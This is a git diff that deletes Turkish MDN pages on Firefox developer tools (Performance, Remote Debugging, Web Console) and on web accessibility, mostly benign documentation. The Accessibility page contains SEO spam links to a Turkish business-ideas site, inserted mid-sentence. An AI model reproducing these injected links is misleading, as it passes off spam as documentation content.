href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a> shows the JavaScript functions in which the browser spent most of its time</li> - <li>the <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a> shows the JavaScript call stack over the course of the recording</li> - <li>the <a href="/en-US/docs/Tools/Performance/Allocations">Allocations</a> view shows the heap allocations made by your code over the course of the recording. This view only appears if you checked "Record Allocations" in the Performance tool settings.</li> -</ul> - -<p>{{EmbedYouTube("WBmttwfA_k8")}}</p> - -<hr> -<h2 id="Getting_started">Getting started</h2> - -<div class="column-container"> -<div class="column-half"> -<dl> - <dt><a href="/en-US/docs/Tools/Performance/UI_Tour">UI Tour</a></dt> - <dd> - <p>To find your way around the Performance tool, here's a quick tour of the UI.</p> - </dd> -</dl> -</div> - -<div class="column-half"> -<dl> - <dt><a href="/en-US/docs/Tools/Performance/How_to">How to</a></dt> - <dd>Basic tasks: open the tool, create, save, load, and configure recordings</dd> -</dl> -</div> -</div> - -<hr> -<h2 id="Components_of_the_Performance_tool">Components of the Performance tool</h2> - -<div class="column-container"> -<div class="column-half"> -<dl> - <dt><a href="/en-US/docs/Tools/Performance/Frame_rate">Frame rate</a></dt> - <dd>Understand your site's overall responsiveness.</dd> - <dt><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a></dt> - <dd>Find bottlenecks in your site's JavaScript.</dd> - <dt><a href="/en-US/docs/Tools/Performance/Allocations">Allocations</a></dt> - <dd>See the allocations made by your code over the course of the recording.</dd> -</dl> -</div> - -<div class="column-half"> -<dl> - <dt><a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a></dt> - <dd>Understand the work the browser's doing as the user interacts with your site.</dd> - <dt><a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a></dt> - <dd>See which JavaScript functions are executing, and when, over the course of the recording.</dd> - <dd></dd> -</dl> -</div> -</div> - -<hr> -<h2 id="Scenarios">Scenarios</h2> - -<div class="column-container"> -<div class="column-half"> -<dl> - <dt><a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties">Animating CSS properties</a></dt> - <dd>Uses the Waterfall to understand how the browser updates a page, and how animating different CSS properties can affect performance.</dd> - <dd></dd> -</dl> -</div> - -<div class="column-half"> -<dl> - <dt><a href="/en-US/docs/Tools/Performance/Scenarios/Intensive_JavaScript">Intensive JavaScript</a></dt> - <dd>Uses the frame rate and Waterfall tools to highlight performance problems caused by long-running JavaScript, and how using workers can help in this situation.</dd> -</dl> -</div> -</div> - -<div class="column-half"> -<dl> - <dd></dd> -</dl> -</div> diff --git a/files/tr/tools/remote_debugging/index.html b/files/tr/tools/remote_debugging/index.html deleted file mode 100644 index 7e5304f2f1..0000000000 --- a/files/tr/tools/remote_debugging/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Remote Debugging -slug: Tools/Remote_Debugging -translation_of: Tools/Remote_Debugging -original_slug: Araclar/Remote_Debugging ---- -<p>You can use the Firefox developer tools on your desktop to debug code running remotely: in a different process on the same device or on a completely different device. To do this you use Firefox to attach the <a href="/en-US/docs/Toolbox" title="/en-US/docs/Toolbox">Toolbox</a> to the remote process, and the Toolbox is then launched in its own window. At the moment the following tools support remote debugging:</p> -<ul> - <li><a href="/en-US/docs/Tools/Page_Inspector">Page Inspector</a></li> - <li><a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">JavaScript Debugger</a></li> - <li><a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Style Editor</a></li> - <li><a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console</a></li> - <li><a href="/en-US/docs/Tools/Profiler" title="/en-US/docs/Tools/Profiler">Profiler</a></li> - <li><a href="/en-US/docs/Tools/Network_Monitor" title="/en-US/docs/Tools/Network_Monitor">Network Monitor</a></li> -</ul> -<h2 id="Firefox_for_Android">Firefox for Android</h2> -<p><a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">Remotely debugging Firefox for Android</a> describes how to connect to Firefox on an Android device over USB.</p> -<h2 id="Firefox_for_Metro">Firefox for Metro</h2> -<p><a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Metro">Remotely debugging Firefox for Metro</a> describes how to use desktop Firefox to debug code running in Windows 8 (Metro-style) Firefox.</p> -<h2 id="Firefox_OS">Firefox OS</h2> -<p><a href="/en-US/Firefox_OS/Using_the_App_Manager">Using the App Manager</a> includes instructions for connecting the Firefox developer tools to the Firefox OS simulator or to a Firefox OS device.</p> -<h2 id="Thunderbird">Thunderbird</h2> -<p><a href="/en-US/docs/Tools/Remote_Debugging/Thunderbird">Remotely debugging Thunderbird</a> explains how a combination of Firefox and Thunderbird can be used to debug code running in Thunderbird.</p> diff --git a/files/tr/tools/web_console/index.html b/files/tr/tools/web_console/index.html deleted file mode 100644 index a3044762d3..0000000000 --- a/files/tr/tools/web_console/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Web Konsolu -slug: Tools/Web_Console -tags: - - Debugging Guide Tools Turkish - - Türkçe DevOps Web Console Mozilla - - Türkçe Web Development - - Web Machine Türkçe - - Web console Türkçe -translation_of: Tools/Web_Console -original_slug: Araclar/Web_Konsolu ---- -<div>{{ToolsSidebar}}</div> - -<p><strong> Web Konsolu:</strong></p> - -<ol> - <li>Kayıt bilgileri bir web sayfasıyla ilişkilidir: ağ istekleri, JavaScript, CSS, güvenlik hataları, uyarılar -ve hatalar da-, sayfa içeriğinde çalışan JavaScript kodunda uyarılar ve bilgilendirme mesajları açıkça tutulur.</li> - <li>Sayfa içeriğinde JavaScript ifadeleri çalıştırarak bir web sayfasıyla etkileşime girmenizi sağlar</li> -</ol> - -<p>{{EmbedYouTube("C6Cyrpkb25k")}}</p> - -<div class="column-container"> -<div class="column-half"> -<dl> - <dt><a href="/tr/docs/Araclar/Web_Konsolu/Web_Konsolunu_Acmak">Web Konsolunu Açmak</a></dt> - <dd>Web Konsolu nasıl açılır bilgisi.</dd> - <dt><a href="/tr/docs/Araclar/Web_Konsolu/Komut_Satiri_Tercumani">Komut Satırı Tercümanı</a></dt> - <dd>How to interact with a document using the Console.</dd> - <dt><a href="/tr/docs/Araclar/Web_Konsolu/Bolunmus_Konsol">Bölünmüş Konsol</a></dt> - <dd>Konsolu diğer araçlarla birlikte kullanın.</dd> -</dl> -</div> - -<div class="column-half"> -<dl> - <dt><a href="/en-US/docs/Tools/Web_Console/Console_messages">Konsol mesajları</a></dt> - <dd>Konsol kayıtlarının detayları.</dd> - <dt><a href="/tr/docs/Araclar/Web_Konsolu/Zengin_Cikti">Zengin Çıktı</a></dt> - <dd>Konsol tarafından kaydedilen nesnelere bakın ve bunlarla etkileşime geçin.</dd> - <dt><a href="/en-US/docs/Tools/Web_Console/Keyboard_shortcuts">Klavye Kısaltmaları</a></dt> - <dd>Kısayol referansı.</dd> -</dl> -</div> -</div> diff --git a/files/tr/tools/web_console/rich_output/index.html b/files/tr/tools/web_console/rich_output/index.html deleted file mode 100644 index 17e558a85e..0000000000 --- a/files/tr/tools/web_console/rich_output/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Zengin Çıktı -slug: Tools/Web_Console/Rich_output -translation_of: Tools/Web_Console/Rich_output -original_slug: Araclar/Web_Konsolu/Zengin_Cikti ---- -<div>{{ToolsSidebar}}</div> - -<p>Web konsolu nesneleri yazdırdığında, sadece nesnenin adından daha zengin bir bilgi kümesi içerir. Bilhassa:</p> - -<ul> - <li>belirli tipler için ek bilgi sağlar</li> - <li>nesnenin özelliklerinin detaylı incelenmesini sağlar</li> - <li>DOM öğeleri için daha zengin bilgiler sağlar ve bunları Denetçi'de seçmenize olanak tanır</li> -</ul> - -<h2 id="Türe_Özgü_Zengin_Çıktı">Türe Özgü Zengin Çıktı</h2> - -<p>Web konsolu aşağıdakiler dahil birçok nesne türü için zengin çıktı sağlar:</p> - -<table class="standard-table"> - <tbody> - <tr> - <td><code>Object</code></td> - <td><img alt="" src="https://mdn.mozillademos.org/files/9597/web-console-object.png" style="display: block; height: 39px; margin-left: auto; margin-right: auto; width: 600px;"></td> - </tr> - <tr> - <td><code>Array</code></td> - <td><img alt="" src="https://mdn.mozillademos.org/files/9589/web-console-array.png" style="display: block; height: 38px; margin-left: auto; margin-right: auto; width: 600px;"></td> - </tr> - <tr> - <td><code>Date</code></td> - <td><img alt="" src="https://mdn.mozillademos.org/files/9591/web-console-date.png" style="display: block; height: 39px; margin-left: auto; margin-right: auto; width: 600px;"></td> - </tr> - <tr> - <td><code>Promise</code></td> - <td> - <p><img alt="" src="https://mdn.mozillademos.org/files/9599/web-console-promise.png" style="display: block; height: 76px; margin-left: auto; margin-right: auto; width: 600px;"></p> - </td> - </tr> - <tr> - <td><code>RegExp</code></td> - <td><img alt="" src="https://mdn.mozillademos.org/files/9601/web-console-regexp.png" style="display: block; height: 39px; margin-left: auto; margin-right: auto; width: 600px;"></td> - </tr> - <tr> - <td><code>Window</code></td> - <td><img alt="" src="https://mdn.mozillademos.org/files/9603/web-console-window.png" style="display: block; height: 38px; margin-left: auto; margin-right: auto; width: 600px;"></td> - </tr> - <tr> - <td><code>Document</code></td> - <td><img alt="" src="https://mdn.mozillademos.org/files/9593/web-console-document.png" style="display: block; height: 39px; margin-left: auto; margin-right: auto; width: 600px;"></td> - </tr> - <tr> - <td><code>Element</code></td> - <td><img alt="" src="https://mdn.mozillademos.org/files/9595/web-console-element.png" style="display: block; height: 39px; margin-left: auto; margin-right: auto; width: 600px;"></td> - </tr> - <tr> - <td><code>Event</code></td> - <td><img alt="" src="https://mdn.mozillademos.org/files/14434/webconsole-events.png" style="height: 51px; width: 600px;"></td> - </tr> - </tbody> -</table> - -<h2 id="Nesne_Özelliklerini_İnceleme">Nesne Özelliklerini İnceleme</h2> - -<p>Bir nesne konsolda günlüğe kaydedildiğinde yanında genişletilebileceğini belirten dik bir üçgen bulunur. Üçgene tıkladığınızda nesne içeriğini gösterecek şekilde genişletecektir:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16430/console_logObject.png" style="border: 1px solid black; display: block; height: 239px; margin-left: auto; margin-right: auto; width: 800px;"></p> - -<p>Firefox 67'den başlayarak (şu anda Firefox geliştirici'de kullanılabilir) konsolda görüntülenen nesnelerde gezinmek için klavyenizdeki ok tuşlarını kullanabilirsiniz. Sağ ok tuşu bir nesnenin ayrıntılarını açar ve sol ok tuşu açık nesneleri kapatır.</p> - -<h2 id="İstek_ayrıntılarının_incelenmesi">İstek ayrıntılarının incelenmesi</h2> - -<p>Nesne ayrıntılarını incelemeye benzer şekilde, you can see the details about a network request directly in the console. İsteğin yanındaki oka tıklayın; Ağ İzleyicisi aracındaki Başlıklar paneline eşdeğer olan bir detay paneli açılacaktır.</p> - -<p>{{EmbedYouTube("Cj3Pjq6jk9s")}}</p> - -<h2 id="Çıktıyı_panoya_aktar">Çıktıyı panoya aktar</h2> - -<p>Konsol penceresinde çıktı aldığınızda, çıktıyı sağ tıklayıp Görünür mesajları panoya aktar seçeneğini seçerek panoya kaydedebilirsiniz:</p> - -<p><a><img alt="" src="https://mdn.mozillademos.org/files/16568/console_export.png" style="height: 482px; width: 950px;"></a></p> - -<p>Bu çıktının tümünü panoya kopyalar. Sonrasında bir belgeye yapıştırabilirsiniz. Çıktı şöyle görünecektir:</p> - -<pre>console.log(todoList) -Array(4) [ {…}, {…}, {…}, {…} ] -debugger eval code:1:9 -undefined</pre> - -<p>Diziler gibi nesneleri de genişletirseniz, biraz farklı içerik elde edersiniz. Örneğin, yukarıdaki listedeki diziyi genişleterek aşağıdakileri alıyorum:</p> - -<pre>console.log(todoList) -(4) […] - -0: Object { status: "Done", description: "Morning Pages", dateCreated: 1552404478137 } - -1: Object { status: "In Progress", description: "Refactor styles", dateCreated: 1552404493169 } - -2: Object { status: "To Do", description: "Create feedback form", dateCreated: 1552404512630 } - -3: Object { status: "To Do", description: "Normalize table", dateCreated: 1552404533790 } - -length: 4 - -<prototype>: Array [] -debugger eval code:1:9 -undefined</pre> - -<h2 id="DOM_düğümlerini_vurgulama_ve_inceleme">DOM düğümlerini vurgulama ve inceleme</h2> - -<p>Fareyi konsol çıktısındaki herhangi bir DOM öğesinin üzerine getirdiğinizde sayfada vurgulanır:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/7379/commandline-highlightnode.png" style="display: block; margin-left: auto; margin-right: auto;">Yukarıdaki ekran görüntüsünde, konsol çıktısındaki düğümün yanında mavi renkli bir "hedef" simgesi göreceksiniz: seçili düğümü seçerek denetçiye geçmek için tıklayın.</p> diff --git a/files/tr/tools/web_console/split_console/index.html b/files/tr/tools/web_console/split_console/index.html deleted file mode 100644 index e6ca22812a..0000000000 --- a/files/tr/tools/web_console/split_console/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Bölünmüş Konsol -slug: Tools/Web_Console/Split_console -translation_of: Tools/Web_Console/Split_console -original_slug: Araclar/Web_Konsolu/Bolunmus_Konsol ---- -<div>{{ToolsSidebar}}</div> - -<p>Konsolu diğer araçlarla birlikte kullanabilirsiniz. Araç kutusundaki başka bir araçtayken, <kbd>Esc</kbd>'ye tıklayın ya da <a href="/en-US/docs/Tools_Toolbox#Toolbar">Araç Çubuğu</a> menüsündeki "Bölünmüş Konsolu Göster"i seçin. Araç kutusu şimdi yukarıda orijinal araç ve altındaki web konsoluyla birlikte gözükecektir.</p> - -<p>Bölünmüş konsolu tekrar <kbd>Esc</kbd>'ye tıklayarak ya da "Bölünmüş Konsolu Gizle" butonuyla kapatabilirsiniz.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16106/split-console.png" style="border-style: solid; border-width: 1px; height: 77px; width: 350px;"></p> - -<p>{{EmbedYouTube("G2hyxhPHyXo")}}</p> - -<p>Her zaman olduğu gibi, <code>$0</code> elementler için Denetçi'de seçilmiş kısaltmalar şeklinde çalışır:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16105/split-console-debugger.png" style="display: block; height: 805px; margin-left: auto; margin-right: auto; width: 902px;">Bölünmüş konsolu hata ayıklayıcı ile birlikte kullandığınızda, konsolun kapsamı o anda çalışan yığın çerçevesidir. Öyleyse fonksiyonda bir kesme noktasına gelirseniz, kapsam işlevin kapsamı olacaktır. İşlevde tanımlanan nesneler için otomatik tamamlama elde edersiniz ve bunları kolayca değiştirebilirsiniz:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16107/split-console-show-debug.png" style="display: block; height: 805px; margin-left: auto; margin-right: auto; width: 902px;"></p> diff --git a/files/tr/tools/web_console/the_command_line_interpreter/index.html b/files/tr/tools/web_console/the_command_line_interpreter/index.html deleted file mode 100644 index 12c6d9d405..0000000000 --- a/files/tr/tools/web_console/the_command_line_interpreter/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: Komut Satırı Tercümanı -slug: Tools/Web_Console/The_command_line_interpreter -translation_of: Tools/Web_Console/The_command_line_interpreter -original_slug: Araclar/Web_Konsolu/Komut_Satiri_Tercumani ---- -<div>{{ToolsSidebar}}</div> - -<p>Web Konsolu'nun komut satırını kullanarak gerçek zamanlı bir şekilde JavaScript ifadelerini yorumlayabilirsiniz.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16672/web_console.png" style="display: block; height: 350px; margin-left: auto; margin-right: auto; width: 924px;"></p> - -<h2 id="İfadeleri_Giriş">İfadeleri Giriş</h2> - -<p>İfadeleri girmek için komut satırına yazmanız ve <kbd>Enter</kbd> 'a tıklamanız yeterlidir. çoklu satırlı ifadeleri girmek için, <kbd>Enter</kbd> yerine <kbd>Shift</kbd>+<kbd>Enter</kbd> kullanmalısınız.</p> - -<p>Yazdığınız ifade mesaj görüntüleme penceresinde yankılanır ve sonuç şöyle olur:</p> - -<p><img alt="Console output showing syntax highlighting" src="https://mdn.mozillademos.org/files/16670/console_01.png" style="border: 1px solid black; display: block; height: 179px; margin: 0px auto; width: 918px;"></p> - -<p><kbd>Enter</kbd> tuşuna bastığınızda girişiniz tam gözükmüyorsa, Konsol bunu girişinizi tamamlamanızı sağlayan <kbd>Shift</kbd>+<kbd>Enter</kbd> kombinasyonu olarak kabul eder.</p> - -<p>Örneğin, şöyle yazarsanız:</p> - -<pre class="brush: js">function foo() {</pre> - -<p>sonra <kbd>Enter</kbd> 'a basarsanız, Konsol girişi hemen gerçekleştirmez ama <kbd>Shift</kbd>+<kbd>Enter</kbd> tuşlarına basmışsınız gibi davranır, böylelikle işlev tanımı girmeyi bitirebilirsiniz.</p> - -<h2 id="Değişkenlere_Erişmek">Değişkenlere Erişmek</h2> - -<p>Sayfada tanımlanan değişkenlere erişebilirsiniz, hem <code>pencere</code> gibi yerleşik değişkenlere hem de <code>jQuery </code>gibi JavaScript tarafından eklenen değişkenlere:<img alt="" src="https://mdn.mozillademos.org/files/7367/commandline-accessbuiltin.png" style="display: block; margin-left: auto; margin-right: auto;"><img alt="" src="https://mdn.mozillademos.org/files/7369/commandline-accesspageadded.png" style="display: block; margin-left: auto; margin-right: auto;"></p> - -<h2 id="Otomatik_Tamamlama">Otomatik Tamamlama</h2> - -<p>Komut satırı otomatik tamamlama içerir: ilk birkaç harfi girin ve olası tamamlamalar ile bir açılır pencere görünür:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16426/console_autocomplete_cropped.png" style="border: 1px solid black; display: block; height: 299px; margin-left: auto; margin-right: auto; width: 302px;"></p> - -<p>Öneriyi kabul etmek için <kbd>Enter</kbd>, <kbd>Tab </kbd>ya da sağ ok tuşunu kullanın, farklı bir öneriye geçmek için ise yukarı aşağı oklarını kullanın, ya da önerilerden hiçbirini beğenmiyorsanız yazmaya devam edin.</p> - -<p>Konsol otomatik tamamlama önerileri büyük/küçük harf duyarlı değildir.</p> - -<p>Konsol,mevcut olarak yürütülen yığın çerçevesinin kapsamından tamamlamalar önerir. Bu şu anlama gelir, bir fonksiyonda kesme noktasına ulaşırsanız, fonksiyondaki yerel nesneler için otomatik tamamlama elde edersiniz.</p> - -<p>Otomatik tamamlama önerilerini dizi elemanları için de alırsınız:<img alt="" src="https://mdn.mozillademos.org/files/16440/arrayList_autocomplete.png" style="border: 1px solid black; display: block; height: 271px; margin-left: auto; margin-right: auto; width: 800px;"></p> - -<h2 id="Değişkenleri_tanımlamak">Değişkenleri tanımlamak</h2> - -<p>Kendi değişken ve fonksiyonlarınızı tanımlayıp sonra onlara erişebilirsiniz:</p> - -<p><img alt="Console output showing syntax highlighting" src="https://mdn.mozillademos.org/files/16470/console_syntaxHighlighting.png" style="border: 1px solid black; display: block; height: 310px; margin-left: auto; margin-right: auto; width: 452px;"></p> - -<p>Girdiğiniz metin, yorumlandıktan sonra sözdizimi kurallarınca vurgulama özelliğine sahip olacaktır.</p> - -<div class="blockIndicator note"> -<p><strong>Not:</strong> Erişilebilirlik özellikleri etkinleştirilmişse, sözdizimi kuralları vurgulanması(syntax highlighting) tarayıcınızda gözükmez.</p> -</div> - -<h2 id="Komut_Geçmişi">Komut Geçmişi</h2> - - - -<p>Komut satırı yazdığınız komutları hatırlar: geçmişinizde ileri veya geri gitmek için yukarı veya aşağı oklarını kullanın.</p> - -<p>Komut geçmişi oturumlar arası kalıcıdır. Geçmişi silmek için, s<code>clearHistory()</code> <a href="en-US/docs/Tools/Web_Console/The_command_line_interpreter#Helper_commands">yardımcı fonksiyonunu</a> kullanın.</p> - -<p>Firefox 65 ile başlanarak, Linux ve Mac'te veya Windows'ta PowerShell'de olduğu gibi komut satırı geçmişinde ters bir arama başlatabilirsiniz.</p> - -<p>Ters aramayı başlatmak için Windows ve Linux'ta <kbd>F9</kbd>, Mac'te <kbd>Ctrl</kbd> + <kbd>R</kbd> tuşlarına basın.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16468/reverse_search.png" style="border: 1px solid black; display: block; height: 335px; margin: 0px auto; width: 500px;"></p> - -<p>Konsolun altındaki giriş kutusuna aramak istediğiniz metni girin. Aradığınız komutu yazmaya başlayın, ilk eşleşme konsolda gösterilecektir. Tekrar tekrar <kbd>Ctrl</kbd> + <kbd>R</kbd> (<kbd>F9</kbd> Windows ve Linux'ta) yazmak, eşleşmeler arasında geriye doğru dönecektir.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16469/reverse_search_example.png" style="border: 1px solid black; display: block; margin: 0 auto;"></p> - -<p>Geriye doğru aramayı başlattıktan sonra, eşleşme listesinde ileriye bakmak için <kbd>Ctrl</kbd> + <kbd>S</kbd> (<kbd>Shift</kbd> + <kbd>F9</kbd> Windows ve Linux'ta) tuşlarını kullanabilirsiniz. İstediğiniz komutu bulduğunuzda, ifadeyi çalıştırmak için <kbd>Return</kbd> (<kbd>Enter</kbd>) tuşuna basın.</p> - -<h2 id="Iframe'lerle_çalışmak">Iframe'lerle çalışmak</h2> - -<p>Bir sayfada gömülü <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>'ler varsa, konsolun kapsamını belirli bir iframe olarak değiştirmek için <code>cd()</code> komutunu kullanabilirsiniz ve sonrasında bu iframe tarafından barındırılan belgede tanımlanan işlevleri çalıştırabilirsiniz. <code>cd()</code> kullanarak bir iframe seçmenin üç yolu vardır: </p> - -<p> iframe DOM öğesini iletebilirsiniz:</p> - -<pre class="brush: js">var frame = document.getElementById("frame1"); -cd(frame);</pre> - -<p>Iframe ile eşleşen bir CSS seçiciyi geçebilirsiniz:</p> - -<pre class="brush: js">cd("#frame1");</pre> - -<p>Iframe 'in global pencere nesnesini iletebilirsiniz:</p> - -<pre class="brush: js">var frame = document.getElementById("frame1"); -cd(frame.contentWindow); -</pre> - -<p>İçeriği tekrar üst düzey pencereye geçirmek için, argüman olmadan <code>cd()</code> işlevini çağırın:</p> - -<pre class="brush: js">cd();</pre> - -<p>Örneğin, iframe yerleştiren bir belgemiz olduğunu varsayalım:</p> - -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="UTF-8"> - </head> - <body> - <iframe id="frame1" src="static/frame/my-frame1.html"></iframe> - </body> -</html></pre> - -<p>Iframe yeni bir fonksiyon tanımlar:</p> - -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="UTF-8"> - <script> - function whoAreYou() { - return "I'm frame1"; - } - </script> - </head> - <body> - </body> -</html></pre> - -<p>Bağlamı şu şekilde iframe olarak değiştirebilirsiniz:</p> - -<pre class="brush: js">cd("#frame1");</pre> - -<p>Şimdi global pencerenin belgesinin iframe olduğunu fark edeceksiniz:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/7355/web-console-iframe-document.png" style="display: block; height: 75px; margin-left: auto; margin-right: auto; width: 632px;">Ve, iframe'de tanımlanan işlevi çağırabilirsiniz:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/7357/web-console-iframe-function.png" style="display: block; height: 77px; margin-left: auto; margin-right: auto; width: 632px;"></p> - -<h2 id="Yardımcı_Komutlar">Yardımcı Komutlar</h2> - -<p>{{ page("en-US/docs/Tools/Web_Console/Helpers", "The commands") }}</p> diff --git a/files/tr/tools/web_console/ui_tour/index.html b/files/tr/tools/web_console/ui_tour/index.html deleted file mode 100644 index dff0f7bafc..0000000000 --- a/files/tr/tools/web_console/ui_tour/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Web Konsolu'nu Açmak -slug: Tools/Web_Console/UI_Tour -translation_of: Tools/Web_Console/UI_Tour -original_slug: Araclar/Web_Konsolu/Web_Konsolunu_Acmak ---- -<div>{{ToolsSidebar}}</div> - -<p>Web Konsolu'nu açmak için:</p> - -<ul> - <li>Firefox Menü'nün altında "Web geliştirici"den "Web Konsolu"nu seçin (veya Mac OS X'te "Araçlar" menü çubuğunu görüntülerseniz)</li> - <li>ya da <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>K</kbd> (<kbd>Command</kbd><kbd>Option</kbd><kbd>K</kbd> ,OS X'te) klavye kısaltması ile.</li> -</ul> - -<p><a href="/en-US/docs/Tools/Tools_Toolbox">Araç Kutusu</a> alt kısımda gözükecektir, tarayıcı penceresinin solunda veya sağında (yerleştirme ayarlarınıza bağlı olarak), Web konsolu aktif edilir. (<a href="/en-US/docs/Tools/Tools_Toolbox#Toolbar">DevTools toolbar</a>'da "Konsol" olarak adlandırılır.):</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16191/console_63.png" style="border: 1px solid black; display: block; margin: 0 auto; width: 845px;"></p> - -<p>Web Konsolu'nun arayüzü dört yatay bölüme ayrılmıştır:</p> - -<ul> - <li><a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">Araç Çubuğu</a>: Üst kısımda üç buton içeren bir araç çubuğu bulunur. Konsolun içeriğini silmek için çöp tenekesi düğmesine tıklayın. Konsolda görüntülenen mesajları filtrelemek için huni simgesine tıklayın. Araç çubuğunun sağ tarafındaki onay kutusu, kaydetmek için "Kalıcı günlükler" özelliğini açmanıza izin verir.</li> - <li><a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter">Komut satırı</a>: Komut satırı iki büyüktür işareti ile başlar (>>). JavaScript ifadeleri girmek için kullanın.</li> - <li><a href="/en-US/docs/Tools/Web_Console/Console_messages" title="#message-display-pane">Mesaj Görüntüleme Bölgesi</a>: Sayfadaki kod ve komut satırına girilen komutlar tarafından oluşturulan mesajlar her komutun ardından görüntülenir.</li> - <li>Araç çubuğunun sağ tarafındaki onay kutusu yeni bir sayfaya gittiğinizde veya geçerli sayfayı yeniden yüklediğinizde konsolun temizlenip temizlenmediğini kontrol eder. Varsayılan ayar konsolu temizleyecektir.</li> -</ul> - -<div class="blockIndicator note"> -<p><strong>Not:</strong> Konsolun içeriğini <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>L</kbd> (Windows, macOS, ve Linux'ta) veya <kbd>Cmd</kbd> + <kbd>K</kbd> (macOS'da) klavye komutlarıyla temizleyebilirsiniz.</p> -</div> diff --git a/files/tr/web/accessibility/index.html b/files/tr/web/accessibility/index.html deleted file mode 100644 index ff844f6a40..0000000000 --- a/files/tr/web/accessibility/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Accessibility -slug: Web/Accessibility -translation_of: Web/Accessibility ---- -<p><span class="seoSummary"><strong>Accessibility</strong> (often abbreviated to <strong>A11y</strong>—as in "a" then 11 characters then "y") in Web development means enabling as many people as possible to use Web sites, even when those people's abilities are limited in some way. </span></p> - -<p>For many people, <a href="https://www.kobifikirleri.com">iş fikirleri </a>technology makes things easier. For people with disabilities, technology makes things possible. Accessibility means developing content to be as accessible as possible no matter an individual's physical and cognitive abilities and no matter how they access the web.</p> - -<p>"<strong>The Web is fundamentally designed to work for all people</strong>, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability." {{ Ref(1) }}</p> - -<div class="cleared topicpage-table"> -<div class="section"> -<h2 class="Key_accessibility_tutorials" id="Key_accessibility_tutorials" name="Key_accessibility_tutorials">Key tutorials</h2> - -<p>The MDN <a href="/en-US/docs/Learn/Accessibility">Accessibility Learning Area</a> contains modern, up-to-date tutorials covering accessibility essentials:</p> - -<dl> - <dt><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></dt> - <dd>This article starts off the module with a good look at what accessibility actually is — this includes what <a href="https://www.kobifikirleri.com/turk-telekom-bayiligi-almak/">Türk telekom bayiliği almak</a> groups of people we need to consider and why, what tools different people use to interact with the Web, and how we can make accessibility part of our web development workflow.</dd> - <dt><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></dt> - <dd>A great deal of web content can be made accessible just by making sure the correct HTML elements are used for the correct purpose at all times. This article looks in detail at how HTML can be used to ensure maximum accessibility.</dd> - <dt><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></dt> - <dd>CSS and JavaScript, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. This article outlines some CSS and JavaScript best practices that should be considered to ensure even complex content is as accessible as possible.</dd> - <dt><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></dt> - <dd>Following on from the previous article, sometimes making complex UI controls that involve unsemantic HTML and dynamic JavaScript-updated content can be difficult. WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. Here we'll show how to use it at a basic level to improve accessibility.</dd> - <dt><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></dt> - <dd>Another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users. This article shows how.</dd> - <dt><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></dt> - <dd>With web access on mobile devices being so popular, and popular platforms such as iOS and Android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. This article looks at mobile-specific accessibility considerations.</dd> -</dl> -</div> - -<div class="section"> -<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Other documentation</h2> - -<dl> - <dt><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG">Understanding the Web Content Accessibility Guidelines</a></dt> - <dd> - <p>This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 (WCAG 2.0 or just WCAG, for the purposes of this writing).</p> - </dd> - <dt><a href="/en/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en/Accessibility/Keyboard-navigable JavaScript widgets">Keyboard-navigable JavaScript widgets</a></dt> - <dd>Until now, web developers who want to make their styled <div> and <span> based widgets have lacked the proper techniques. <strong>Keyboard accessibility</strong> is part of the minimum accessibility requirements which a developer 